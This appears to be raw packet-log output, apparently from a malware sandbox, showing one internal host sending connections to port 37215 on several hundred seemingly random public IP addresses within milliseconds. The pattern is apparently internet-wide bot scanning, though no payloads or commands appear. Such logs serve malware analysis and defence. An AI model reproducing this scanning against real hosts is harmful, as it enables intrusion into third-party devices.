Jan 1, 2024 12:52:04.046304941 CET	37751	37215	192.168.2.13	121.58.88.213
Jan 1, 2024 12:52:04.046304941 CET	37751	37215	192.168.2.13	41.167.166.186
Jan 1, 2024 12:52:04.046305895 CET	37751	37215	192.168.2.13	197.189.40.235
Jan 1, 2024 12:52:04.046305895 CET	37751	37215	192.168.2.13	197.66.173.109
Jan 1, 2024 12:52:04.046310902 CET	37751	37215	192.168.2.13	45.28.228.171
Jan 1, 2024 12:52:04.046314001 CET	37751	37215	192.168.2.13	41.1.75.51
Jan 1, 2024 12:52:04.046314001 CET	37751	37215	192.168.2.13	197.149.243.163
Jan 1, 2024 12:52:04.046314955 CET	37751	37215	192.168.2.13	45.115.22.64
Jan 1, 2024 12:52:04.046314001 CET	37751	37215	192.168.2.13	197.57.106.104
Jan 1, 2024 12:52:04.046317101 CET	37751	37215	192.168.2.13	41.175.253.160
Jan 1, 2024 12:52:04.046314955 CET	37751	37215	192.168.2.13	197.24.148.104
Jan 1, 2024 12:52:04.046319008 CET	37751	37215	192.168.2.13	181.138.56.17
Jan 1, 2024 12:52:04.046319008 CET	37751	37215	192.168.2.13	197.224.199.70
Jan 1, 2024 12:52:04.046330929 CET	37751	37215	192.168.2.13	41.61.111.171
Jan 1, 2024 12:52:04.046339035 CET	37751	37215	192.168.2.13	156.4.222.163
Jan 1, 2024 12:52:04.046344995 CET	37751	37215	192.168.2.13	156.146.195.208
Jan 1, 2024 12:52:04.046353102 CET	37751	37215	192.168.2.13	156.217.174.60
Jan 1, 2024 12:52:04.046365023 CET	37751	37215	192.168.2.13	156.102.156.255
Jan 1, 2024 12:52:04.046369076 CET	37751	37215	192.168.2.13	197.102.125.172
Jan 1, 2024 12:52:04.046371937 CET	37751	37215	192.168.2.13	95.92.40.35
Jan 1, 2024 12:52:04.046375036 CET	37751	37215	192.168.2.13	107.43.232.8
Jan 1, 2024 12:52:04.046382904 CET	37751	37215	192.168.2.13	41.211.253.252
Jan 1, 2024 12:52:04.046390057 CET	37751	37215	192.168.2.13	41.74.14.107
Jan 1, 2024 12:52:04.046396017 CET	37751	37215	192.168.2.13	197.173.254.174
Jan 1, 2024 12:52:04.046399117 CET	37751	37215	192.168.2.13	197.49.46.172
Jan 1, 2024 12:52:04.046410084 CET	37751	37215	192.168.2.13	95.119.54.209
Jan 1, 2024 12:52:04.046410084 CET	37751	37215	192.168.2.13	41.61.74.119
Jan 1, 2024 12:52:04.046416044 CET	37751	37215	192.168.2.13	138.223.228.77
Jan 1, 2024 12:52:04.046422958 CET	37751	37215	192.168.2.13	156.250.244.244
Jan 1, 2024 12:52:04.046423912 CET	37751	37215	192.168.2.13	197.71.204.141
Jan 1, 2024 12:52:04.046427965 CET	37751	37215	192.168.2.13	45.199.45.113
Jan 1, 2024 12:52:04.046431065 CET	37751	37215	192.168.2.13	41.98.137.213
Jan 1, 2024 12:52:04.046439886 CET	37751	37215	192.168.2.13	41.78.33.247
Jan 1, 2024 12:52:04.046439886 CET	37751	37215	192.168.2.13	156.25.15.26
Jan 1, 2024 12:52:04.046444893 CET	37751	37215	192.168.2.13	37.245.251.207
Jan 1, 2024 12:52:04.046439886 CET	37751	37215	192.168.2.13	197.63.57.11
Jan 1, 2024 12:52:04.046446085 CET	37751	37215	192.168.2.13	156.19.132.101
Jan 1, 2024 12:52:04.046453953 CET	37751	37215	192.168.2.13	41.12.65.107
Jan 1, 2024 12:52:04.046458006 CET	37751	37215	192.168.2.13	41.246.46.169
Jan 1, 2024 12:52:04.046477079 CET	37751	37215	192.168.2.13	41.12.35.123
Jan 1, 2024 12:52:04.046477079 CET	37751	37215	192.168.2.13	41.224.222.152
Jan 1, 2024 12:52:04.046477079 CET	37751	37215	192.168.2.13	37.181.99.8
Jan 1, 2024 12:52:04.046478987 CET	37751	37215	192.168.2.13	102.119.225.14
Jan 1, 2024 12:52:04.046489954 CET	37751	37215	192.168.2.13	41.155.35.3
Jan 1, 2024 12:52:04.046494007 CET	37751	37215	192.168.2.13	156.193.78.199
Jan 1, 2024 12:52:04.046494961 CET	37751	37215	192.168.2.13	156.84.150.191
Jan 1, 2024 12:52:04.046509027 CET	37751	37215	192.168.2.13	197.184.137.230
Jan 1, 2024 12:52:04.046518087 CET	37751	37215	192.168.2.13	196.13.51.139
Jan 1, 2024 12:52:04.046520948 CET	37751	37215	192.168.2.13	197.22.57.170
Jan 1, 2024 12:52:04.046520948 CET	37751	37215	192.168.2.13	138.238.113.194
Jan 1, 2024 12:52:04.046520948 CET	37751	37215	192.168.2.13	197.151.212.231
Jan 1, 2024 12:52:04.046529055 CET	37751	37215	192.168.2.13	156.190.154.31
Jan 1, 2024 12:52:04.046529055 CET	37751	37215	192.168.2.13	197.106.205.82
Jan 1, 2024 12:52:04.046549082 CET	37751	37215	192.168.2.13	197.206.52.117
Jan 1, 2024 12:52:04.046549082 CET	37751	37215	192.168.2.13	102.11.244.190
Jan 1, 2024 12:52:04.046567917 CET	37751	37215	192.168.2.13	181.38.105.102
Jan 1, 2024 12:52:04.046576977 CET	37751	37215	192.168.2.13	156.245.22.1
Jan 1, 2024 12:52:04.046577930 CET	37751	37215	192.168.2.13	160.47.96.223
Jan 1, 2024 12:52:04.046577930 CET	37751	37215	192.168.2.13	197.60.55.102
Jan 1, 2024 12:52:04.046583891 CET	37751	37215	192.168.2.13	222.59.54.37
Jan 1, 2024 12:52:04.046590090 CET	37751	37215	192.168.2.13	181.197.208.134
Jan 1, 2024 12:52:04.046593904 CET	37751	37215	192.168.2.13	197.203.253.182
Jan 1, 2024 12:52:04.046598911 CET	37751	37215	192.168.2.13	197.48.191.189
Jan 1, 2024 12:52:04.046602964 CET	37751	37215	192.168.2.13	156.201.97.154
Jan 1, 2024 12:52:04.046608925 CET	37751	37215	192.168.2.13	41.187.238.198
Jan 1, 2024 12:52:04.046608925 CET	37751	37215	192.168.2.13	41.223.161.26
Jan 1, 2024 12:52:04.046608925 CET	37751	37215	192.168.2.13	156.186.25.163
Jan 1, 2024 12:52:04.046622038 CET	37751	37215	192.168.2.13	94.218.105.20
Jan 1, 2024 12:52:04.046622038 CET	37751	37215	192.168.2.13	156.123.40.2
Jan 1, 2024 12:52:04.046623945 CET	37751	37215	192.168.2.13	197.180.37.255
Jan 1, 2024 12:52:04.046624899 CET	37751	37215	192.168.2.13	197.203.64.157
Jan 1, 2024 12:52:04.046624899 CET	37751	37215	192.168.2.13	181.98.19.129
Jan 1, 2024 12:52:04.046632051 CET	37751	37215	192.168.2.13	94.119.201.211
Jan 1, 2024 12:52:04.046636105 CET	37751	37215	192.168.2.13	156.215.78.94
Jan 1, 2024 12:52:04.046638966 CET	37751	37215	192.168.2.13	197.188.147.46
Jan 1, 2024 12:52:04.046641111 CET	37751	37215	192.168.2.13	186.123.69.138
Jan 1, 2024 12:52:04.046642065 CET	37751	37215	192.168.2.13	222.60.217.105
Jan 1, 2024 12:52:04.046652079 CET	37751	37215	192.168.2.13	41.56.1.214
Jan 1, 2024 12:52:04.046655893 CET	37751	37215	192.168.2.13	156.107.26.58
Jan 1, 2024 12:52:04.046657085 CET	37751	37215	192.168.2.13	107.204.102.154
Jan 1, 2024 12:52:04.046657085 CET	37751	37215	192.168.2.13	156.244.237.2
Jan 1, 2024 12:52:04.046660900 CET	37751	37215	192.168.2.13	41.41.108.229
Jan 1, 2024 12:52:04.046662092 CET	37751	37215	192.168.2.13	156.91.230.74
Jan 1, 2024 12:52:04.046662092 CET	37751	37215	192.168.2.13	157.192.132.24
Jan 1, 2024 12:52:04.046662092 CET	37751	37215	192.168.2.13	196.230.253.207
Jan 1, 2024 12:52:04.046670914 CET	37751	37215	192.168.2.13	197.168.153.113
Jan 1, 2024 12:52:04.046674013 CET	37751	37215	192.168.2.13	41.1.194.120
Jan 1, 2024 12:52:04.046674013 CET	37751	37215	192.168.2.13	156.103.105.147
Jan 1, 2024 12:52:04.046700954 CET	37751	37215	192.168.2.13	197.146.200.44
Jan 1, 2024 12:52:04.046701908 CET	37751	37215	192.168.2.13	222.249.82.127
Jan 1, 2024 12:52:04.046700954 CET	37751	37215	192.168.2.13	186.206.116.176
Jan 1, 2024 12:52:04.046701908 CET	37751	37215	192.168.2.13	41.52.98.108
Jan 1, 2024 12:52:04.046701908 CET	37751	37215	192.168.2.13	45.236.215.85
Jan 1, 2024 12:52:04.046701908 CET	37751	37215	192.168.2.13	196.21.53.109
Jan 1, 2024 12:52:04.046701908 CET	37751	37215	192.168.2.13	156.203.62.162
Jan 1, 2024 12:52:04.046710014 CET	37751	37215	192.168.2.13	138.254.174.232
Jan 1, 2024 12:52:04.046710014 CET	37751	37215	192.168.2.13	181.255.157.231
Jan 1, 2024 12:52:04.046711922 CET	37751	37215	192.168.2.13	190.20.72.71
Jan 1, 2024 12:52:04.046715021 CET	37751	37215	192.168.2.13	122.162.24.151
Jan 1, 2024 12:52:04.046721935 CET	37751	37215	192.168.2.13	156.81.3.183
Jan 1, 2024 12:52:04.046726942 CET	37751	37215	192.168.2.13	41.140.6.109
Jan 1, 2024 12:52:04.046726942 CET	37751	37215	192.168.2.13	156.110.148.138
Jan 1, 2024 12:52:04.046729088 CET	37751	37215	192.168.2.13	41.226.0.103
Jan 1, 2024 12:52:04.046731949 CET	37751	37215	192.168.2.13	41.243.19.9
Jan 1, 2024 12:52:04.046731949 CET	37751	37215	192.168.2.13	94.179.165.138
Jan 1, 2024 12:52:04.046736002 CET	37751	37215	192.168.2.13	196.58.220.171
Jan 1, 2024 12:52:04.046741009 CET	37751	37215	192.168.2.13	197.141.80.160
Jan 1, 2024 12:52:04.046747923 CET	37751	37215	192.168.2.13	197.78.78.15
Jan 1, 2024 12:52:04.046749115 CET	37751	37215	192.168.2.13	156.51.5.193
Jan 1, 2024 12:52:04.046749115 CET	37751	37215	192.168.2.13	41.176.214.90
Jan 1, 2024 12:52:04.046755075 CET	37751	37215	192.168.2.13	41.21.242.232
Jan 1, 2024 12:52:04.046755075 CET	37751	37215	192.168.2.13	156.255.80.239
Jan 1, 2024 12:52:04.046755075 CET	37751	37215	192.168.2.13	197.147.186.103
Jan 1, 2024 12:52:04.046760082 CET	37751	37215	192.168.2.13	41.22.93.19
Jan 1, 2024 12:52:04.046760082 CET	37751	37215	192.168.2.13	196.112.30.61
Jan 1, 2024 12:52:04.046771049 CET	37751	37215	192.168.2.13	154.21.100.48
Jan 1, 2024 12:52:04.046776056 CET	37751	37215	192.168.2.13	181.2.178.52
Jan 1, 2024 12:52:04.046787024 CET	37751	37215	192.168.2.13	41.31.42.49
Jan 1, 2024 12:52:04.046787024 CET	37751	37215	192.168.2.13	156.84.246.45
Jan 1, 2024 12:52:04.046787977 CET	37751	37215	192.168.2.13	121.139.252.167
Jan 1, 2024 12:52:04.046794891 CET	37751	37215	192.168.2.13	156.193.250.184
Jan 1, 2024 12:52:04.046812057 CET	37751	37215	192.168.2.13	41.84.31.247
Jan 1, 2024 12:52:04.046812057 CET	37751	37215	192.168.2.13	94.123.218.117
Jan 1, 2024 12:52:04.046812057 CET	37751	37215	192.168.2.13	156.228.228.112
Jan 1, 2024 12:52:04.046812057 CET	37751	37215	192.168.2.13	156.242.99.36
Jan 1, 2024 12:52:04.046817064 CET	37751	37215	192.168.2.13	41.30.21.177
Jan 1, 2024 12:52:04.046819925 CET	37751	37215	192.168.2.13	197.125.44.24
Jan 1, 2024 12:52:04.046828985 CET	37751	37215	192.168.2.13	120.113.25.54
Jan 1, 2024 12:52:04.046844006 CET	37751	37215	192.168.2.13	160.92.122.137
Jan 1, 2024 12:52:04.046844959 CET	37751	37215	192.168.2.13	41.164.94.18
Jan 1, 2024 12:52:04.046845913 CET	37751	37215	192.168.2.13	181.78.255.159
Jan 1, 2024 12:52:04.046844959 CET	37751	37215	192.168.2.13	154.55.25.96
Jan 1, 2024 12:52:04.046860933 CET	37751	37215	192.168.2.13	156.208.162.41
Jan 1, 2024 12:52:04.046869993 CET	37751	37215	192.168.2.13	154.110.64.6
Jan 1, 2024 12:52:04.046873093 CET	37751	37215	192.168.2.13	45.79.158.128
Jan 1, 2024 12:52:04.046878099 CET	37751	37215	192.168.2.13	121.74.29.85
Jan 1, 2024 12:52:04.046891928 CET	37751	37215	192.168.2.13	102.8.220.254
Jan 1, 2024 12:52:04.046901941 CET	37751	37215	192.168.2.13	197.74.243.205
Jan 1, 2024 12:52:04.046905041 CET	37751	37215	192.168.2.13	197.85.39.48
Jan 1, 2024 12:52:04.046905041 CET	37751	37215	192.168.2.13	37.246.208.155
Jan 1, 2024 12:52:04.046910048 CET	37751	37215	192.168.2.13	154.94.164.206
Jan 1, 2024 12:52:04.046911001 CET	37751	37215	192.168.2.13	156.255.64.37
Jan 1, 2024 12:52:04.046916008 CET	37751	37215	192.168.2.13	181.153.85.77
Jan 1, 2024 12:52:04.046916008 CET	37751	37215	192.168.2.13	156.90.104.7
Jan 1, 2024 12:52:04.046922922 CET	37751	37215	192.168.2.13	95.98.200.203
Jan 1, 2024 12:52:04.046924114 CET	37751	37215	192.168.2.13	45.136.157.86
Jan 1, 2024 12:52:04.046924114 CET	37751	37215	192.168.2.13	197.5.238.87
Jan 1, 2024 12:52:04.046925068 CET	37751	37215	192.168.2.13	41.124.89.197
Jan 1, 2024 12:52:04.046925068 CET	37751	37215	192.168.2.13	121.110.114.229
Jan 1, 2024 12:52:04.046925068 CET	37751	37215	192.168.2.13	197.196.104.240
Jan 1, 2024 12:52:04.046931028 CET	37751	37215	192.168.2.13	122.32.15.74
Jan 1, 2024 12:52:04.046936989 CET	37751	37215	192.168.2.13	197.133.156.242
Jan 1, 2024 12:52:04.046936989 CET	37751	37215	192.168.2.13	157.181.175.188
Jan 1, 2024 12:52:04.046941996 CET	37751	37215	192.168.2.13	154.254.230.82
Jan 1, 2024 12:52:04.046942949 CET	37751	37215	192.168.2.13	156.15.10.189
Jan 1, 2024 12:52:04.046947002 CET	37751	37215	192.168.2.13	41.78.150.159
Jan 1, 2024 12:52:04.046957970 CET	37751	37215	192.168.2.13	41.204.1.139
Jan 1, 2024 12:52:04.046960115 CET	37751	37215	192.168.2.13	156.96.163.58
Jan 1, 2024 12:52:04.046960115 CET	37751	37215	192.168.2.13	156.5.52.171
Jan 1, 2024 12:52:04.046972990 CET	37751	37215	192.168.2.13	120.118.28.178
Jan 1, 2024 12:52:04.046983957 CET	37751	37215	192.168.2.13	41.175.149.69
Jan 1, 2024 12:52:04.046984911 CET	37751	37215	192.168.2.13	156.11.33.252
Jan 1, 2024 12:52:04.046988010 CET	37751	37215	192.168.2.13	197.112.70.142
Jan 1, 2024 12:52:04.046988010 CET	37751	37215	192.168.2.13	41.150.113.233
Jan 1, 2024 12:52:04.046988010 CET	37751	37215	192.168.2.13	197.89.44.114
Jan 1, 2024 12:52:04.046993971 CET	37751	37215	192.168.2.13	156.174.195.128
Jan 1, 2024 12:52:04.046994925 CET	37751	37215	192.168.2.13	95.195.163.110
Jan 1, 2024 12:52:04.047009945 CET	37751	37215	192.168.2.13	41.111.47.225
Jan 1, 2024 12:52:04.047017097 CET	37751	37215	192.168.2.13	197.246.245.101
Jan 1, 2024 12:52:04.047027111 CET	37751	37215	192.168.2.13	102.82.6.28
Jan 1, 2024 12:52:04.047027111 CET	37751	37215	192.168.2.13	138.161.31.59
Jan 1, 2024 12:52:04.047028065 CET	37751	37215	192.168.2.13	41.247.175.92
Jan 1, 2024 12:52:04.047027111 CET	37751	37215	192.168.2.13	197.176.215.131
Jan 1, 2024 12:52:04.047027111 CET	37751	37215	192.168.2.13	196.181.121.207
Jan 1, 2024 12:52:04.047045946 CET	37751	37215	192.168.2.13	41.244.212.104
Jan 1, 2024 12:52:04.047049999 CET	37751	37215	192.168.2.13	156.121.208.108
Jan 1, 2024 12:52:04.047054052 CET	37751	37215	192.168.2.13	37.132.214.175
Jan 1, 2024 12:52:04.047054052 CET	37751	37215	192.168.2.13	186.222.20.113
Jan 1, 2024 12:52:04.047055006 CET	37751	37215	192.168.2.13	41.227.125.46
Jan 1, 2024 12:52:04.047056913 CET	37751	37215	192.168.2.13	41.61.232.69
Jan 1, 2024 12:52:04.047058105 CET	37751	37215	192.168.2.13	156.242.74.38
Jan 1, 2024 12:52:04.047059059 CET	37751	37215	192.168.2.13	186.160.231.131
Jan 1, 2024 12:52:04.047069073 CET	37751	37215	192.168.2.13	156.66.138.24
Jan 1, 2024 12:52:04.047069073 CET	37751	37215	192.168.2.13	41.228.108.127
Jan 1, 2024 12:52:04.047070980 CET	37751	37215	192.168.2.13	156.52.150.102
Jan 1, 2024 12:52:04.047072887 CET	37751	37215	192.168.2.13	156.165.25.98
Jan 1, 2024 12:52:04.047076941 CET	37751	37215	192.168.2.13	196.103.69.96
Jan 1, 2024 12:52:04.047080040 CET	37751	37215	192.168.2.13	160.195.143.165
Jan 1, 2024 12:52:04.047086000 CET	37751	37215	192.168.2.13	156.65.91.187
Jan 1, 2024 12:52:04.047087908 CET	37751	37215	192.168.2.13	156.233.130.249
Jan 1, 2024 12:52:04.047089100 CET	37751	37215	192.168.2.13	156.105.32.94
Jan 1, 2024 12:52:04.047096014 CET	37751	37215	192.168.2.13	197.133.170.223
Jan 1, 2024 12:52:04.047122955 CET	37751	37215	192.168.2.13	156.97.92.27
Jan 1, 2024 12:52:04.047122955 CET	37751	37215	192.168.2.13	156.170.135.68
Jan 1, 2024 12:52:04.047125101 CET	37751	37215	192.168.2.13	197.36.134.83
Jan 1, 2024 12:52:04.047125101 CET	37751	37215	192.168.2.13	138.195.171.120
Jan 1, 2024 12:52:04.047131062 CET	37751	37215	192.168.2.13	156.242.210.4
Jan 1, 2024 12:52:04.047132015 CET	37751	37215	192.168.2.13	41.195.129.26
Jan 1, 2024 12:52:04.047131062 CET	37751	37215	192.168.2.13	197.65.15.71
Jan 1, 2024 12:52:04.047132015 CET	37751	37215	192.168.2.13	156.175.9.99
Jan 1, 2024 12:52:04.047133923 CET	37751	37215	192.168.2.13	156.188.73.118
Jan 1, 2024 12:52:04.047133923 CET	37751	37215	192.168.2.13	197.249.208.89
Jan 1, 2024 12:52:04.047133923 CET	37751	37215	192.168.2.13	45.154.217.40
Jan 1, 2024 12:52:04.047138929 CET	37751	37215	192.168.2.13	156.101.154.10
Jan 1, 2024 12:52:04.047143936 CET	37751	37215	192.168.2.13	197.254.40.245
Jan 1, 2024 12:52:04.047153950 CET	37751	37215	192.168.2.13	41.129.106.91
Jan 1, 2024 12:52:04.047157049 CET	37751	37215	192.168.2.13	102.223.97.85
Jan 1, 2024 12:52:04.047158003 CET	37751	37215	192.168.2.13	122.247.175.16
Jan 1, 2024 12:52:04.047168016 CET	37751	37215	192.168.2.13	138.0.196.160
Jan 1, 2024 12:52:04.047172070 CET	37751	37215	192.168.2.13	197.97.164.76
Jan 1, 2024 12:52:04.047179937 CET	37751	37215	192.168.2.13	160.139.205.65
Jan 1, 2024 12:52:04.047185898 CET	37751	37215	192.168.2.13	156.152.150.165
Jan 1, 2024 12:52:04.047189951 CET	37751	37215	192.168.2.13	154.63.40.67
Jan 1, 2024 12:52:04.047198057 CET	37751	37215	192.168.2.13	156.97.3.60
Jan 1, 2024 12:52:04.047207117 CET	37751	37215	192.168.2.13	138.197.213.214
Jan 1, 2024 12:52:04.047211885 CET	37751	37215	192.168.2.13	197.188.111.5
Jan 1, 2024 12:52:04.047216892 CET	37751	37215	192.168.2.13	197.35.72.125
Jan 1, 2024 12:52:04.047233105 CET	37751	37215	192.168.2.13	160.240.99.14
Jan 1, 2024 12:52:04.047233105 CET	37751	37215	192.168.2.13	197.88.88.68
Jan 1, 2024 12:52:04.047233105 CET	37751	37215	192.168.2.13	102.67.255.2
Jan 1, 2024 12:52:04.047235966 CET	37751	37215	192.168.2.13	196.37.68.219
Jan 1, 2024 12:52:04.047236919 CET	37751	37215	192.168.2.13	197.123.98.106
Jan 1, 2024 12:52:04.047236919 CET	37751	37215	192.168.2.13	41.216.209.34
Jan 1, 2024 12:52:04.047255039 CET	37751	37215	192.168.2.13	120.170.4.11
Jan 1, 2024 12:52:04.047255039 CET	37751	37215	192.168.2.13	197.206.227.105
Jan 1, 2024 12:52:04.047256947 CET	37751	37215	192.168.2.13	186.191.197.47
Jan 1, 2024 12:52:04.047274113 CET	37751	37215	192.168.2.13	120.195.156.79
Jan 1, 2024 12:52:04.047276020 CET	37751	37215	192.168.2.13	41.170.96.46
Jan 1, 2024 12:52:04.047276020 CET	37751	37215	192.168.2.13	41.42.140.62
Jan 1, 2024 12:52:04.047281027 CET	37751	37215	192.168.2.13	197.48.174.0
Jan 1, 2024 12:52:04.047291994 CET	37751	37215	192.168.2.13	197.226.1.193
Jan 1, 2024 12:52:04.047301054 CET	37751	37215	192.168.2.13	156.93.209.46
Jan 1, 2024 12:52:04.047302961 CET	37751	37215	192.168.2.13	196.221.127.241
Jan 1, 2024 12:52:04.047306061 CET	37751	37215	192.168.2.13	197.147.50.166
Jan 1, 2024 12:52:04.047312021 CET	37751	37215	192.168.2.13	181.86.66.58
Jan 1, 2024 12:52:04.047312021 CET	37751	37215	192.168.2.13	186.30.33.168
Jan 1, 2024 12:52:04.047312021 CET	37751	37215	192.168.2.13	41.55.25.73
Jan 1, 2024 12:52:04.047312975 CET	37751	37215	192.168.2.13	102.27.150.200
Jan 1, 2024 12:52:04.047333002 CET	37751	37215	192.168.2.13	222.84.213.55
Jan 1, 2024 12:52:04.047333002 CET	37751	37215	192.168.2.13	157.209.46.139
Jan 1, 2024 12:52:04.047333002 CET	37751	37215	192.168.2.13	95.124.54.192
Jan 1, 2024 12:52:04.047338963 CET	37751	37215	192.168.2.13	41.193.157.182
Jan 1, 2024 12:52:04.047341108 CET	37751	37215	192.168.2.13	157.210.146.150
Jan 1, 2024 12:52:04.047341108 CET	37751	37215	192.168.2.13	41.89.22.248
Jan 1, 2024 12:52:04.047353983 CET	37751	37215	192.168.2.13	156.173.131.105
Jan 1, 2024 12:52:04.047363997 CET	37751	37215	192.168.2.13	156.204.188.216
Jan 1, 2024 12:52:04.047373056 CET	37751	37215	192.168.2.13	197.221.215.181
Jan 1, 2024 12:52:04.047374010 CET	37751	37215	192.168.2.13	138.84.163.151
Jan 1, 2024 12:52:04.047393084 CET	37751	37215	192.168.2.13	41.79.29.193
Jan 1, 2024 12:52:04.047394037 CET	37751	37215	192.168.2.13	41.161.23.140
Jan 1, 2024 12:52:04.047394037 CET	37751	37215	192.168.2.13	120.11.108.71
Jan 1, 2024 12:52:04.047406912 CET	37751	37215	192.168.2.13	102.245.11.93
Jan 1, 2024 12:52:04.047409058 CET	37751	37215	192.168.2.13	197.180.24.168
Jan 1, 2024 12:52:04.047421932 CET	37751	37215	192.168.2.13	190.67.75.129
Jan 1, 2024 12:52:04.047429085 CET	37751	37215	192.168.2.13	160.192.165.79
Jan 1, 2024 12:52:04.047432899 CET	37751	37215	192.168.2.13	197.135.40.123
Jan 1, 2024 12:52:04.047451019 CET	37751	37215	192.168.2.13	41.141.26.181
Jan 1, 2024 12:52:04.047451973 CET	37751	37215	192.168.2.13	156.222.211.14
Jan 1, 2024 12:52:04.047458887 CET	37751	37215	192.168.2.13	122.52.248.24
Jan 1, 2024 12:52:04.047458887 CET	37751	37215	192.168.2.13	41.171.81.174
Jan 1, 2024 12:52:04.047458887 CET	37751	37215	192.168.2.13	156.175.156.138
Jan 1, 2024 12:52:04.047458887 CET	37751	37215	192.168.2.13	41.202.83.189
Jan 1, 2024 12:52:04.047458887 CET	37751	37215	192.168.2.13	41.255.234.223
Jan 1, 2024 12:52:04.047461987 CET	37751	37215	192.168.2.13	107.14.194.119
Jan 1, 2024 12:52:04.047466040 CET	37751	37215	192.168.2.13	107.156.161.88
Jan 1, 2024 12:52:04.047480106 CET	37751	37215	192.168.2.13	156.106.122.81
Jan 1, 2024 12:52:04.047480106 CET	37751	37215	192.168.2.13	41.14.197.12
Jan 1, 2024 12:52:04.047482014 CET	37751	37215	192.168.2.13	41.227.41.5
Jan 1, 2024 12:52:04.047483921 CET	37751	37215	192.168.2.13	160.73.77.202
Jan 1, 2024 12:52:04.047493935 CET	37751	37215	192.168.2.13	197.92.143.61
Jan 1, 2024 12:52:04.047504902 CET	37751	37215	192.168.2.13	154.229.175.108
Jan 1, 2024 12:52:04.047518015 CET	37751	37215	192.168.2.13	156.80.214.124
Jan 1, 2024 12:52:04.047518015 CET	37751	37215	192.168.2.13	102.18.42.136
Jan 1, 2024 12:52:04.047518969 CET	37751	37215	192.168.2.13	156.200.204.93
Jan 1, 2024 12:52:04.047519922 CET	37751	37215	192.168.2.13	157.55.58.7
Jan 1, 2024 12:52:04.047518969 CET	37751	37215	192.168.2.13	156.202.126.185
Jan 1, 2024 12:52:04.047519922 CET	37751	37215	192.168.2.13	181.251.227.251
Jan 1, 2024 12:52:04.047532082 CET	37751	37215	192.168.2.13	197.66.76.14
Jan 1, 2024 12:52:04.047537088 CET	37751	37215	192.168.2.13	41.141.55.97
Jan 1, 2024 12:52:04.047540903 CET	37751	37215	192.168.2.13	45.245.53.184
Jan 1, 2024 12:52:04.047543049 CET	37751	37215	192.168.2.13	197.122.75.130
Jan 1, 2024 12:52:04.047544956 CET	37751	37215	192.168.2.13	156.82.88.206
Jan 1, 2024 12:52:04.047548056 CET	37751	37215	192.168.2.13	102.108.180.178
Jan 1, 2024 12:52:04.047549963 CET	37751	37215	192.168.2.13	156.60.108.199
Jan 1, 2024 12:52:04.047626019 CET	37751	37215	192.168.2.13	156.13.180.129
Jan 1, 2024 12:52:04.047626019 CET	37751	37215	192.168.2.13	41.71.128.247
Jan 1, 2024 12:52:04.047630072 CET	37751	37215	192.168.2.13	157.85.30.169
Jan 1, 2024 12:52:04.047652006 CET	37751	37215	192.168.2.13	102.215.58.181
Jan 1, 2024 12:52:04.047652006 CET	37751	37215	192.168.2.13	41.39.145.3
Jan 1, 2024 12:52:04.047652006 CET	37751	37215	192.168.2.13	41.111.246.225
Jan 1, 2024 12:52:04.047652006 CET	37751	37215	192.168.2.13	156.201.208.155
Jan 1, 2024 12:52:04.047652960 CET	37751	37215	192.168.2.13	197.193.201.129
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	222.143.6.19
Jan 1, 2024 12:52:04.047652960 CET	37751	37215	192.168.2.13	41.104.80.98
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	41.142.127.78
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	156.184.101.20
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	41.169.28.46
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	181.231.98.164
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	41.194.72.191
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	222.21.63.62
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	197.200.32.105
Jan 1, 2024 12:52:04.047653913 CET	37751	37215	192.168.2.13	197.56.53.223
Jan 1, 2024 12:52:04.047677040 CET	37751	37215	192.168.2.13	156.34.235.134
Jan 1, 2024 12:52:04.047677040 CET	37751	37215	192.168.2.13	45.228.23.226
Jan 1, 2024 12:52:04.047677040 CET	37751	37215	192.168.2.13	156.103.38.80
Jan 1, 2024 12:52:04.047677040 CET	37751	37215	192.168.2.13	41.199.27.161
Jan 1, 2024 12:52:04.047679901 CET	37751	37215	192.168.2.13	120.54.214.22
Jan 1, 2024 12:52:04.047679901 CET	37751	37215	192.168.2.13	156.93.162.33
Jan 1, 2024 12:52:04.047678947 CET	37751	37215	192.168.2.13	122.43.96.166
Jan 1, 2024 12:52:04.047679901 CET	37751	37215	192.168.2.13	197.40.208.228
Jan 1, 2024 12:52:04.047679901 CET	37751	37215	192.168.2.13	41.152.231.123
Jan 1, 2024 12:52:04.047683001 CET	37751	37215	192.168.2.13	197.90.239.216
Jan 1, 2024 12:52:04.047679901 CET	37751	37215	192.168.2.13	41.109.140.73
Jan 1, 2024 12:52:04.047684908 CET	37751	37215	192.168.2.13	102.10.211.2
Jan 1, 2024 12:52:04.047684908 CET	37751	37215	192.168.2.13	41.213.8.81
Jan 1, 2024 12:52:04.047696114 CET	37751	37215	192.168.2.13	120.227.42.249
Jan 1, 2024 12:52:04.047696114 CET	37751	37215	192.168.2.13	41.220.195.42
Jan 1, 2024 12:52:04.047700882 CET	37751	37215	192.168.2.13	156.124.94.151
Jan 1, 2024 12:52:04.047700882 CET	37751	37215	192.168.2.13	41.57.197.91
Jan 1, 2024 12:52:04.047700882 CET	37751	37215	192.168.2.13	121.156.202.131
Jan 1, 2024 12:52:04.047700882 CET	37751	37215	192.168.2.13	92.90.174.77
Jan 1, 2024 12:52:04.047712088 CET	37751	37215	192.168.2.13	197.137.131.214
Jan 1, 2024 12:52:04.047712088 CET	37751	37215	192.168.2.13	156.105.179.85
Jan 1, 2024 12:52:04.047720909 CET	37751	37215	192.168.2.13	41.139.162.99
Jan 1, 2024 12:52:04.047720909 CET	37751	37215	192.168.2.13	196.81.15.56
Jan 1, 2024 12:52:04.047720909 CET	37751	37215	192.168.2.13	197.215.41.251
Jan 1, 2024 12:52:04.047720909 CET	37751	37215	192.168.2.13	197.49.0.184
Jan 1, 2024 12:52:04.047720909 CET	37751	37215	192.168.2.13	37.175.13.97
Jan 1, 2024 12:52:04.047728062 CET	37751	37215	192.168.2.13	92.62.16.98
Jan 1, 2024 12:52:04.047728062 CET	37751	37215	192.168.2.13	41.144.60.137
Jan 1, 2024 12:52:04.047728062 CET	37751	37215	192.168.2.13	156.26.197.211
Jan 1, 2024 12:52:04.047728062 CET	37751	37215	192.168.2.13	197.219.3.21
Jan 1, 2024 12:52:04.047729969 CET	37751	37215	192.168.2.13	190.213.223.195
